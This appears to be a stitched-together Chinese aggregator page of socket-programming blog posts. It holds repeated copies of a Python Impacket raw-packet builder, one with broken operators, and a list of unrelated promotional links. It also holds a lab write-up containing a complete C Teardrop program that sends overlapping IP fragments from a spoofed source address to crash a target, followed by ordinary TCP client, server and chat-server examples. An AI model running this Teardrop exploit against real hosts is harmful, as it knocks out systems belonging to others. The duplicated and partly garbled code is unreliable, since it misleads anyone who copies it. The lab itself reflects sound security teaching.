精华内容
下载资源
问答
  • 这篇文章主要介绍了Python原始套接字编程实例解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下在实验中需要自己构造单独的HTTP数据报文,而使用SOCK_STREAM...

    这篇文章主要介绍了Python原始套接字编程实例解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下

    在实验中需要自己构造单独的HTTP数据报文,而使用SOCK_STREAM进行发送数据包,需要进行完整的TCP交互。

    因此想使用原始套接字进行编程,直接构造数据包,并在IP层进行发送,即采用SOCK_RAW进行数据发送。

    使用SOCK_RAW的优势是,可以对数据包进行完整的修改,可以处理IP层上的所有数据包,对各字段进行修改,而不受UDP和TCP的限制。

    下面开始构造HTTP数据包,

    IP层和TCP层使用python的Impacket库,http内容自行填写。

    #!/usr/bin/env python

    #-------------------------------------------------------------------------------

    # Name: raw_http.py

    # Purpose: construct a raw http get packet

    # Author: Yangjun

    # Created: 08/02/2014

    # Copyright: (c) Yangjun 2014

    # Licence: your licence

    #-------------------------------------------------------------------------------

    import sys

    import socket

    from impacket import ImpactDecoder, ImpactPacket

    def main():

    if len(sys.argv) 3:

    print "Use: %s src ip dst ip " % sys.argv[0]

    print "Use: %s src ip dst ip cnt " % sys.argv[0]

    sys.exit(1)

    elif len(sys.argv) == 3:

    src = sys.argv[1]

    dst = sys.argv[2]

    cnt = 1

    elif len(sys.argv) ==4:

    src = sys.argv[1]

    dst = sys.argv[2]

    cnt = sys.argv[3]

    else:

    print "Input error!"

    sys.exit(1)

    #print src, dst

    ip = ImpactPacket.IP()

    ip.set_ip_src(src)

    ip.set_ip_dst(dst)

    # Create a new ICMP packet of type ECHO.

    icmp = ImpactPacket.ICMP()

    tcp = ImpactPacket.TCP()

    tcp.set_th_sport(55968)

    tcp.set_th_dport(80)

    tcp.set_th_seq(1)

    tcp.set_th_ack(1)

    tcp.set_th_flags(0x18)

    tcp.set_th_win(64)

    tcp.contains( ImpactPacket.Data("GET /att/DIYLife/41264/528 HTTP/1.1\r\nHost: 192.168.111.1\r\nAccept-Encoding: identity\r\n\r\n"))

    ip.contains(tcp)

    # Open a raw socket. Special permissions are usually required.

    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    seq_id = 0

    while cnt = 1:

    # Calculate its checksum.

    seq_id = seq_id + 1

    tcp.set_th_seq(seq_id)

    tcp.calculate_checksum()

    # Send it to the target host.

    s.sendto(ip.get_packet(), (dst,80))

    cnt= cnt -1

    if __name__ == '__main__':

    main()

    运行后抓包如下:

    以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持IIS7站长之家。

    转载:非常欢迎各位朋友分享到个人站长或者朋友圈,但转载请说明文章出处“黎青松SEO博客”。

    展开全文
  • 因此想使用原始套接字进行编程,直接构造数据包,并在IP层进行发送,即采用SOCK_RAW进行数据发送。使用SOCK_RAW的优势是,可以对数据包进行完整的修改,可以处理IP层上的所有数据包,对各字段进行修改,而不受UDP和...

    在实验中需要自己构造单独的HTTP数据报文,而使用SOCK_STREAM进行发送数据包,需要进行完整的TCP交互。

    因此想使用原始套接字进行编程,直接构造数据包,并在IP层进行发送,即采用SOCK_RAW进行数据发送。

    使用SOCK_RAW的优势是,可以对数据包进行完整的修改,可以处理IP层上的所有数据包,对各字段进行修改,而不受UDP和TCP的限制。

    下面开始构造HTTP数据包,

    IP层和TCP层使用python的Impacket库,http内容自行填写。

    #!/usr/bin/env python

    #-------------------------------------------------------------------------------

    # Name: raw_http.py

    # Purpose: construct a raw http get packet

    #

    # Author: Yangjun

    #

    # Created: 08/02/2014

    # Copyright: (c) Yangjun 2014

    # Licence:

    #-------------------------------------------------------------------------------

    import sys

    import socket

    from impacket import ImpactDecoder, ImpactPacket

    def main():

    if len(sys.argv) < 3:

    print "Use: %s " % sys.argv[0]

    print "Use: %s " % sys.argv[0]

    sys.exit(1)

    elif len(sys.argv) == 3:

    src = sys.argv[1]

    dst = sys.argv[2]

    cnt = 1

    elif len(sys.argv) ==4:

    src = sys.argv[1]

    dst = sys.argv[2]

    cnt = sys.argv[3]

    else:

    print "Input error!"

    sys.exit(1)

    #print src, dst

    ip = ImpactPacket.IP()

    ip.set_ip_src(src)

    ip.set_ip_dst(dst)

    # Create a new ICMP packet of type ECHO.

    icmp = ImpactPacket.ICMP()

    tcp = ImpactPacket.TCP()

    tcp.set_th_sport(55968)

    tcp.set_th_dport(80)

    tcp.set_th_seq(1)

    tcp.set_th_ack(1)

    tcp.set_th_flags(0x18)

    tcp.set_th_win(64)

    tcp.contains( ImpactPacket.Data("GET /att/DIYLife/41264/528 HTTP/1.1\r\nHost: 192.168.111.1\r\nAccept-Encoding: identity\r\n\r\n"))

    ip.contains(tcp)

    # Open a raw socket. Special permissions are usually required.

    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    seq_id = 0

    while cnt >= 1:

    # Calculate its checksum.

    seq_id = seq_id + 1

    tcp.set_th_seq(seq_id)

    tcp.calculate_checksum()

    # Send it to the target host.

    s.sendto(ip.get_packet(), (dst,80))

    cnt= cnt -1

    if __name__ == '__main__':

    main()

    运行后抓包如下:

    展开全文
  • 这篇文章主要介绍了Python原始套接字编程实例解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 在实验中需要自己构造单独的HTTP数据报文,而使用SOCK_STREAM...
  • 因此想使用原始套接字进行编程,直接构造数据包,并在IP层进行发送,即采用SOCK_RAW进行数据发送。使用SOCK_RAW的优势是,可以对数据包进行完整的修改,可以处理IP层上的所有数据包,对各字段进行修改,而不受UDP和...

    在实验中需要自己构造单独的HTTP数据报文,而使用SOCK_STREAM进行发送数据包,需要进行完整的TCP交互。

    因此想使用原始套接字进行编程,直接构造数据包,并在IP层进行发送,即采用SOCK_RAW进行数据发送。

    使用SOCK_RAW的优势是,可以对数据包进行完整的修改,可以处理IP层上的所有数据包,对各字段进行修改,而不受UDP和TCP的限制。

    下面开始构造HTTP数据包,

    IP层和TCP层使用python的Impacket库,http内容自行填写。

    www.qytang.com/

    http://www.qytang.com/cn/list/29/

    http://www.qytang.com/cn/list/28/358.htm

    http://www.qytang.com/cn/list/41/

    http://www.qytang.com/cn/list/37/

    http://www.qytang.com/cn/list/46/

    http://www.qytang.com/cn/page/19.htm

    http://www.qytang.com/cn/list/32/

    http://www.qytang.com/cn/list/28/

    http://www.qytang.com/cn/list/25/

    http://www.qytang.com/cn/list/28/625.htm

    http://www.qytang.com/cn/list/28/612.htm

    http://www.qytang.com/cn/list/28/611.htm

    展开全文
  • 原始套接字编程&SOCKET应用实例一、Teardrop代码编程1.1 实验代码1.2 编译及运行1.3 抓包结果二、SOCKET应用实例2.1 查看服务器ip2.2 服务器及客户端代码2.3 编译文件 一、Teardrop代码编程 1.1 实验代码 代码为...

    一、Teardrop代码编程

    1.1 实验代码

    代码为“网络编程技术”参考书上 “2.11 原始套接字编程”中的Teardrop代码编程

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <errno.h>
    
    #ifdef STRANGE_BSD_BYTE_ORDERING_THING
    /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
    #define FIX(n)  (n)
    #else  
    /* OpenBSD 2.1, all Linux */
    #define FIX(n)  htons(n)
    #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
    
    #define IP_MF 0x2000  /* More IP fragment en route */
    #define IPH 0x14    /* IP header size */
    #define UDPH 0x8     /* UDP header size */
    #define PADDING  0x1c    /* datagram frame padding for first packet */
    #define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
    #define COUNT 0x1      /* Linux dies with 1, NT is more stalwart and can
                            * withstand maybe 5 or 10 sometimes...  Experiment.*/
                        
    
    void usage(u_char *);
    u_long name_resolve(u_char *);
    void send_frags(int, u_long, u_long, u_short, u_short);
    
    
    int main(int argc, char **argv)
    {
        int one = 1, count = 0, i, rip_sock;
        // 定义源地址和目的地址
        u_long src_ip = 0, dst_ip = 0;
        // 定义源端口和目的端口
        u_short src_prt = 0, dst_prt = 0;
        // 定义一个32位的IPv4地址
        struct in_addr addr;
        printf("teardrop route|daemon9\n\n");
        //创建原始套接字
        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
            fprintf(stderr, "raw socket");
            exit(1);
        }
        //设置套接字选项IP_HDRINCL
        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
        (char *)&one, sizeof(one))< 0)
        {
            fprintf(stderr, "IP_HDRINCL");
            exit(1);
        }
        if (argc < 3)
            usage(argv[0]);
        // 设置源IP 和 目的IP
        if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
        {
            fprintf(stderr, "What the hell kind of IP address is that?\n");
            exit(1);
        }
        while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
        {
            switch (i)
            {
                case 's': // source port (should be emphemeral)
                src_prt = (u_short)atoi(optarg);
                break;
                case 't': // dest port (DNS, anyone?)
                dst_prt = (u_short)atoi(optarg);
                break;
                case 'n': // number to send
                count = atoi(optarg);
                break;
                default :
                usage(argv[0]);
                break; // NOTREACHED
            }
        }
        srandom((unsigned)(utimes("0",(time_t)0)));
        if (!src_prt) src_prt = (random() % 0xffff);
        if (!dst_prt) dst_prt = (random() % 0xffff);
        if (!count)
        count = COUNT;
        printf("Death on flaxen wings:\n");
        addr.s_addr = src_ip;
        printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
        addr.s_addr = dst_ip;
        printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
        printf(" Amt: %5d\n", count);
        printf("[\n ");
        for (i = 0; i < count; i++)
        {
            send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
            // printf("b00m ");
            usleep(500);
        }
        printf("]\n");
        return (0);
    }
    
    
    // 设置 IP 包的内容
    void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
    {
        u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
        u_char byte; // a byte
        // 套接字地址结构
        struct sockaddr_in sin; /* socket protocol structure */
        sin.sin_family = AF_INET;
        sin.sin_port = src_prt;
        sin.sin_addr.s_addr = dst_ip;
        packet = (u_char *)malloc(IPH + UDPH + PADDING);
        p_ptr = packet;
        flag = packet;
        bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
        // IP version and header length
        byte = 0x45;
        memcpy(p_ptr, &byte, sizeof(u_char));
        p_ptr += 2; // IP TOS (skipped)
        // total length
        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(242); // IP id
        p_ptr += 2;
        //IP frag flags and offset
        *((u_short *)p_ptr) |= FIX(IP_MF);
        p_ptr += 2;
        *((u_short *)p_ptr) = 0x40; // IP TTL
        byte = IPPROTO_UDP;
        memcpy(p_ptr + 1, &byte, sizeof(u_char));
        // IP checksum filled in by kernel
        p_ptr += 4;
        // IP source address
        *((u_long *)p_ptr) = src_ip;
        p_ptr += 4;
        // IP destination address
        *((u_long *)p_ptr) = dst_ip;
        p_ptr += 4;
        *((u_short *)p_ptr) = htons(src_prt); // UDP source port
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(PADDING); // UDP total length
        p_ptr += 4;
        
        // 发送数据:Fake News
        *((u_short *)p_ptr) = 0x46;
        p_ptr++;
        *((u_short *)p_ptr) = 0x61;
        p_ptr++;
        *((u_short *)p_ptr) = 0x6B;
        p_ptr++;
        *((u_short *)p_ptr) = 0x65;
        p_ptr++;
        *((u_short *)p_ptr) = 0x20;
        p_ptr++;
        *((u_short *)p_ptr) = 0x4E;
        p_ptr++;
        *((u_short *)p_ptr) = 0x65;
        p_ptr++;
        *((u_short *)p_ptr) = 0x77;
        p_ptr++;
        *((u_short *)p_ptr) = 0x73;
    
        int i=1;
        while(i <= 56)
        {
    	printf("%x\t",*flag);
    	flag++;
            if(0 == i%8)
    	    printf("\n");
            i++;
        }
    
        if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
        (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
        {
            fprintf(stderr, "\nsendto");
            free(packet);
            exit(1);
        }
        // IP total length is 2 bytes into the header
        p_ptr = &packet[2];
        *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
        // IP offset is 6 bytes into the header
        p_ptr += 4;
        *((u_short *)p_ptr) = FIX(MAGIC);
        if (sendto(sock, packet, IPH+MAGIC+1, 0,
        (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
        {
            fprintf(stderr, "\nsendto");
            free(packet);
            exit(1);
        }
        free(packet);
    }
    
    
    // 获取主机信息
    u_long name_resolve(u_char *host_name)
    {
        struct in_addr addr;
        struct hostent *host_ent;
        if ((addr.s_addr = inet_addr(host_name)) == -1)
        {
            if (!(host_ent = gethostbyname(host_name))) return (0);
                bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
        }
        return (addr.s_addr);
    }
    
    
    void usage(u_char *name)
    {
        fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
        exit(0);
    }
    

    1.2 编译及运行

    在这里插入图片描述
    在这里插入图片描述

    1.3 抓包结果

    在这里插入图片描述

    二、SOCKET应用实例

    2.1 查看服务器ip

    2.2 服务器及客户端代码

    服务器

    #include <stdio.h> 
    #include <stdlib.h> 
    #include <unistd.h> 
    #include <errno.h> 
    #include <string.h> 
    #include <sys/types.h> 
    #include <sys/socket.h> 
    #include <netinet/in.h> 
    #include <netdb.h> 
    #include <arpa/inet.h> 
    #include <sys/wait.h> 
    #include <signal.h> 
    #define PORT "9090" // the port users will be connecting to 
    #define BACKLOG 10 
    // how many pending connections queue will hold 
    void sigchld_handler(int s) 
    { 
    	while(waitpid(-1, NULL, WNOHANG) > 0); 
    }
    // get sockaddr, IPv4 or IPv6: 
    void *get_in_addr(struct sockaddr *sa) 
    { 
        if (sa->sa_family == AF_INET) { 
        	return &(((struct sockaddr_in*)sa)->sin_addr); 
        }
    	return &(((struct sockaddr_in6*)sa)->sin6_addr); 
    }
    int main(void) 
    { 
        int sockfd, new_fd; // listen on sock_fd, new connection on new_fd 
        struct addrinfo hints, *servinfo, *p; 
        struct sockaddr_storage their_addr; // connector's address information 
        socklen_t sin_size; 
        struct sigaction sa; 
        int yes=1;
        char s[INET6_ADDRSTRLEN]; 
        int rv; 
        memset(&hints, 0, sizeof hints); 
        hints.ai_family = AF_UNSPEC; 
        hints.ai_socktype = SOCK_STREAM; 
        hints.ai_flags = AI_PASSIVE; // use my IP 
        if ((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0) { 
            fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); 
            return 1; 
    	}
    // loop through all the results and bind to the first we can 
        for(p = servinfo; p != NULL; p = p->ai_next) { 
        if ((sockfd = socket(p->ai_family, p->ai_socktype, 
        p->ai_protocol)) == -1) { 
            perror("server: socket"); 
            continue; 
        }
        if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, 
        sizeof(int)) == -1) { 
            perror("setsockopt"); 
            exit(1); 
        }
        if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) { 
            close(sockfd); 
            perror("server: bind"); 
            continue; 
        }
        break; 
    }
        if (p == NULL) { 
            fprintf(stderr, "server: failed to bind\n"); 
            return 2; 
        }
        freeaddrinfo(servinfo); // all done with this structure 
        if (listen(sockfd, BACKLOG) == -1) { 
            perror("listen"); 
            exit(1); 
        }
        sa.sa_handler = sigchld_handler; // reap all dead processes 
        sigemptyset(&sa.sa_mask); 
        sa.sa_flags = SA_RESTART; 
        if (sigaction(SIGCHLD, &sa, NULL) == -1) { 
            perror("sigaction"); 
            exit(1); 
        }
        printf("server: waiting for connections...\n"); 
        while(1) { // main accept() loop 
            sin_size = sizeof their_addr; 
            new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size); 
            if (new_fd == -1) { 
                perror("accept"); 
                continue; 
            }
            inet_ntop(their_addr.ss_family, 
            get_in_addr((struct sockaddr *)&their_addr), 
            s, sizeof s); 
            printf("server: got connection from %s\n", s); 
            if (!fork()) { // this is the child process 
                close(sockfd); // child doesn't need the listener 
                if (send(new_fd, "Hello, world!", 13, 0) == -1) 
                perror("send"); 
                close(new_fd); 
                exit(0); 
            }
            close(new_fd); // parent doesn't need this 
        }
        return 0; 
    }
    

    客户端

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <string.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    
    #define PORT "9090"  //the port client will be connecting to
    #define MAXDATASIZE 100  //max number of bytes we can get at once
    
    //get sockaddr, IPv4 or IPv6
    void *get_in_addr(struct sockaddr *sa)
    {
    	if(sa->sa_family == AF_INET)
    	{
    		return &(((struct sockaddr_in*)sa)->sin_addr);
    	}
    	return &(((struct sockaddr_in6*)sa)->sin6_addr);
    }
    
    int main(int argc, char *argv[])
    {
    	int sockfd, numbytes;
    	char buf[MAXDATASIZE];
    	struct addrinfo hints, *servinfo, *p;
    	int rv;
    	char s[INET6_ADDRSTRLEN];
    	if(argc != 2)
    	{
    		fprintf(stderr, "usage:client hostname\n");
    		exit(1);
    	}
    	memset(&hints, 0, sizeof hints);
    	hints.ai_family = AF_UNSPEC;
    	hints.ai_socktype = SOCK_STREAM;
    	if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
    	{
    		fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
    		return 1;
    	}
        // loop through all the results and connect to the first we can 
    	for(p = servinfo; p != NULL; p = p->ai_next)
    	{
    		if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
    		{
    			perror("client:socket");
    			continue;
    		}
    		if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
    		{
    			close(sockfd);
    			perror("client:connect");
    			continue;
    		}
    		break;
    	}
    	if(p == NULL)
    	{
    		fprintf(stderr, "client:failed to connect\n");
    		return 2;
    	}
    	inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
    	printf("client:connecting to %s\n",s);
    	freeaddrinfo(servinfo);// all done with this structure 
    	if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
    	{
    		perror("recv");
    		exit(1);
    	}
    	buf[numbytes] = '\0';
    	printf("client:received %s\n",buf);
    	close(sockfd);
    	return 0;
    }
    

    2.3 编译文件

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    
    #define PORT "9090"  //port we're listening on
    
    //get sockaddr,IPv4 or IPv6:
    void *get_in_addr(struct sockaddr *sa)
    {
        if(sa->sa_family == AF_INET){
            return &(((struct sockaddr_in*)sa)->sin_addr);
        }
        return &(((struct sockaddr_in6*)sa)->sin6_addr);
    }
    
    int main(void)
    {
        fd_set master; 
        // master file descriptor list 
        fd_set read_fds; // temp file descriptor list for select() 
        int fdmax; 
        // maximum file descriptor number
        int listener; 
        // listening socket descriptor 
        int newfd; 
        // newly accept()ed socket descriptor 
        struct sockaddr_storage remoteaddr; // client address 
        socklen_t addrlen; 
        char buf[256]; 
        // buffer for client data 
        int nbytes; 
        char remoteIP[INET6_ADDRSTRLEN]; 
        int yes=1; 
        // for setsockopt() SO_REUSEADDR, below 
        int i, j, rv; 
        struct addrinfo hints, *ai, *p; 
        FD_ZERO(&master); 
        // clear the master and temp sets 
        FD_ZERO(&read_fds); 
        // get us a socket and bind it 
        memset(&hints, 0, sizeof hints); 
        hints.ai_family = AF_UNSPEC; 
        hints.ai_socktype = SOCK_STREAM; 
        hints.ai_flags = AI_PASSIVE; 
        if((rv = getaddrinfo(NULL, PORT, &hints, &ai)) != 0)
        {
            fprintf(stderr, "selectserver:%s\n", gai_strerror(rv));
            exit(1);
        }
    
        for(p = ai; p != NULL; p = p->ai_next)
        {
            listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
            if(listener < 0)
            {
                continue;
            }
            // lose the pesky "address already in use" error message 
            setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
            if(bind(listener, p->ai_addr, p->ai_addrlen) < 0)
            {
                close(listener);
                continue;
            }
            break;
        }
    	// if we got here, it means we didn't get bound 
        if(p == NULL)
        {
            fprintf(stderr, "selectserver:failed to bind\n");
            exit(2);
        }
    
        freeaddrinfo(ai);  // all done with this 
        // listen
        if(listen(listener, 10) == -1)
        {
            perror("listen");
            exit(3);
        }
        // add the listener to the master set 
        FD_SET(listener, &master);
    	// keep track of the biggest file descriptor 
        fdmax = listener;  // so far, it's this one 
    	// main loop 
        for(;;)
        {
            read_fds = master; // copy it 
            if(select(fdmax + 1, &read_fds, NULL, NULL, NULL) == -1)
            {
                perror("select");
                exit(4);
            }
    		// run through the existing connections looking for data to read 
            for(i = 0; i <= fdmax; i++)
            {
                if(FD_ISSET(i, &read_fds))// we got one!!
                {
                    if(i == listener)
                    {
                        // handle new connections
                        addrlen = sizeof remoteaddr;
                        newfd = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen);
    
                        if(newfd == -1)
                        {
                            perror("accept");
                        }
                        else
                        {
                            FD_SET(newfd, &master); // add to master set 
                            if(newfd > fdmax)
                            {
                                // keep track of the max 
                                fdmax = newfd;
                            }
                            printf("selectserver: new connection from %s on " 
                            "socket %d\n", 
                            inet_ntop(remoteaddr.ss_family, 
                            get_in_addr((struct sockaddr*)&remoteaddr), 
                            remoteIP, INET6_ADDRSTRLEN), 
                            newfd); 
                        }
                    }
                    else
                    {
                        // handle data from a client 
                        if((nbytes = recv(i, buf, sizeof buf, 0)) <= 0)
                        {
                            // got error or connection closed by client 
                            if(nbytes == 0)
                            {
                                // connection closed 
                                printf("selectserver:socket %d hung up\n", i);
                            }
                            else
                            {
                                perror("recv");
                            }
                            close(i);// bye! 
                            FD_CLR(i, &master);// remove from master set 
                        }
                        else
                        {
                            // we got some data from a client 
                            for(j =0; j <= fdmax; j++)
                            {
    			    			// send to everyone! 
                                if(FD_ISSET(j, &master))
                                {
                                     // except the listener and ourselves 
                                    if(j != listener && j != i)
                                    {
                                        if(send(j, buf, nbytes, 0) == -1)
                                        {
                                            perror("send");
                                        }
                                    }
                                }
                            }
                        }
                    }  //END handle from client
                }  //END got new incoming connection
            }  //END looping through file descriptors
        }  //END for(;;)--and you thought it would never end!
        return 0;
    }
    
    展开全文
  • 熟悉原始套接字编程的基本流程 理解ping程序的实现机制 理解ICMP协议的基于作用和报文格式。 完成原始套接字的配置。 【实验内容】 1.构造ICMP协议首部结构 2.构造ICMP回射请求结构。 3. 构造ICMP回射应答...
  • 原始套接字编程”中的Teardrop代码编程 (1)实验代码: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <netdb.h> #include <...
  • Python原始套接字编程

    2014-02-10 10:53:00
    因此想使用原始套接字进行编程,直接构造数据包,并在IP层进行发送,即采用SOCK_RAW进行数据发送。 使用SOCK_RAW的优势是,可以对数据包进行完整的修改,可以处理IP层上的所有数据包,对各字段进行修改,而不受UDP...
  • 原始套接字编程(C++)

    千次阅读 2019-04-02 21:16:48
    1.同上两篇,学校的实验。 但是这第三个实验坑比较多,写了好长时间,百度了好久才写对。 我是先启动的服务器,在启动数据包捕获,最后在启动客户端,这样最初的通信也能捕获到。而且我的客户端与服务器时双向...
  • 因此想使用原始套接字进行编程,直接构造数据包,并在IP层进行发送,即采用SOCK_RAW进行数据发送。使用SOCK_RAW的优势是,可以对数据包进行完整的修改,可以处理IP层上的所有数据包,对各字段进行修改,而不受UDP和...
  • 因此想使用原始套接字进行编程,直接构造数据包,并在IP层进行发送,即采用SOCK_RAW进行数据发送。 使用SOCK_RAW的优势是,可以对数据包进行完整的修改,可以处理IP层上的所有数据包,对各字段进行修改,而不受UDP和...
  • Socket编程实验

    2020-12-05 21:12:41
    Socket编程实验完成“网络编程技术”参考书上 “2.11 原始套接字编程”中的Teardrop代码编程,伪造一个虚假地址的IP包,包的内容填入Fake News。发送此包。并用wireshark抓包进行验证。完成“网络编程技术”参考书上...
  • Socket编程

    2021-01-22 19:29:25
    文章目录一、原始套接字编程(一)编写一个Teardrop程序(二)实验结果二、SOCKET应用实例(一)面向连接的流式套接字c/s例子(二)非阻塞的多人聊天室例子三、完成一个静态网页用nginx制作web网站四、完成一个基于...
  • 实验目的:学习“原始套接字编程”中的Teardrop代码编程,伪造一个虚假地址的IP包,包的内容填入Fake News。发送此包。并用wireshark抓包进行验证。 实验环境:Ubuntu18.04(配备gcc编译器),wireshark等抓包软件 ...
  • 网络分析及应用实验

    2020-12-05 20:45:41
    文章目录一、wireshark抓包分析TCP协议二、原始套接字编程三、SOCKET应用实例四、简单web网站1.完成一个静态网页五、HTTP 客户端编程方法六、LibCurl库编程练习 一、wireshark抓包分析TCP协议 二、原始套接字编程 三...
  • 1.熟悉原始套接字编程的基本流程 2.理解ping程序的实现机制 3.理解ICMP协议的基于作用和报文格式。 4.完成原始套接字的配置。 【实验内容】 1.构造ICMP协议首部结构 2.构造ICMP回射请求结构。 3.构造ICMP回射应答...
  • Socket编程实战

    2020-12-04 23:08:04
    原始套接字编程中的Teardrop代码编程 实验内容: 伪造一个虚假地址的IP包,包的内容填入Fake News。发送此包。并用wireshark抓包进行验证。 实验过程如下: 在ubantu中新建一个文件并在此目录下新建一个.c文件 并填...
  • 2.1.3 套接字编程接口在Windows和Linux操作系统中得到继承和发展 25 2.1.4 套接字编程接口的两种实现方式 25 2.1.5 套接字通信与UNIX操作系统的输入/输出的关系 26 2.2 套接字编程的基本概念 27 2.2.1 什么...
  • 实验代码:为“网络编程技术”参考书上 “2.11 原始套接字编程”中的Teardrop代码编程。 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <...
  • ping程序实现

    2020-11-19 15:46:29
     熟悉原始套接字编程的基本流程  理解ping程序的实现机制  理解ICMP协议的基于作用和报文格式。  完成原始套接字的配置。 【实验要求】 构造ICMP协议首部结构 构造ICMP回射请求结构。 构造ICMP回射应答结构...
  • 最近网络实验课做了好几个实验,我来慢慢分享给大家,首先是做一个socket套接字编程,实现一个C/S模型的简单通信程序。其实是两个程序,一个client端,一个server端。需要从客户端发送字符,然后显示在服务端。这个...
  • 经管学习笔记(1)

    2015-07-12 15:43:05
    这学期主要利用周末时间,做了个兼职,主要是帮那边的老师搭建个做实验的门户网站和有关...sockets(套接字)编程有三种,流式套接字(SOCK_STREAM),数据报套接字(SOCK_DGRAM),原始套接字(SOCK_RAW);基于TCP的
  • 泛洪攻击C#实现

    千次阅读 2011-02-26 20:28:00
    随着网络技术的发展,原始套接字在网络安全编程中应用变得更加广泛。.NET作为新的平台,用类库封装了原始套接字,同时支持Ipv6,同时也给黑客提供了新的工具。本文讨论了微软.NET平台的IP欺骗与SYNFlood攻击问题,...
  • ICMP协议的分析与实现

    千次阅读 2010-04-23 19:44:00
    实验:ICMP协议的分析与实现[实验目的] 分析ICMP报文,理解ICMP协议在...[实验内容] 使用Visual Studio C++ 6.0和网络接口套接字Socket进行Windows环境下的网络编程,运用原始嵌套字RAW_SOCKET从IP层开始构造整个

空空如也

空空如也

1 2
收藏数 34
精华内容 13
关键字:

原始套接字编程实验